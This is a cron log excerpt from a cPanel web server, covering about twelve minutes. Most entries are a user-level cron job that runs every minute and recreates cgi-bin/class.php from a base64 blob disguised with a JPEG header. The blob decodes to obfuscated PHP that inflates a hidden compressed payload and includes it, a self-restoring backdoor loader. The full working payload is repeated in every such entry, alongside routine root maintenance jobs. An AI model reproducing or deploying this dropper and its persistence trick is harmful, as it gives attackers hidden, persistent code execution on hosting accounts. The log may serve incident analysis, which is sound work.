Nov 10 12:38:01 server CROND[17311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:39:01 server CROND[18196]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 12:39:01 server CROND[18197]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:40:01 server CROND[19027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:40:01 server CROND[19028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:40:01 server CROND[19031]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:40:01 server CROND[19032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 12:41:01 server CROND[19914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:42:01 server CROND[20831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:42:01 server CROND[20830]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 12:43:01 server CROND[21603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:44:01 server CROND[22295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:45:01 server CROND[23120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:45:01 server CROND[23121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:45:01 server CROND[23124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:46:01 server CROND[23985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:47:01 server CROND[24832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:48:01 server CROND[25747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:49:01 server CROND[26564]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:50:01 server CROND[27151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:50:01 server CROND[27153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:50:01 server CROND[27154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 12:50:01 server CROND[27156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:50:01 server CROND[27157]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
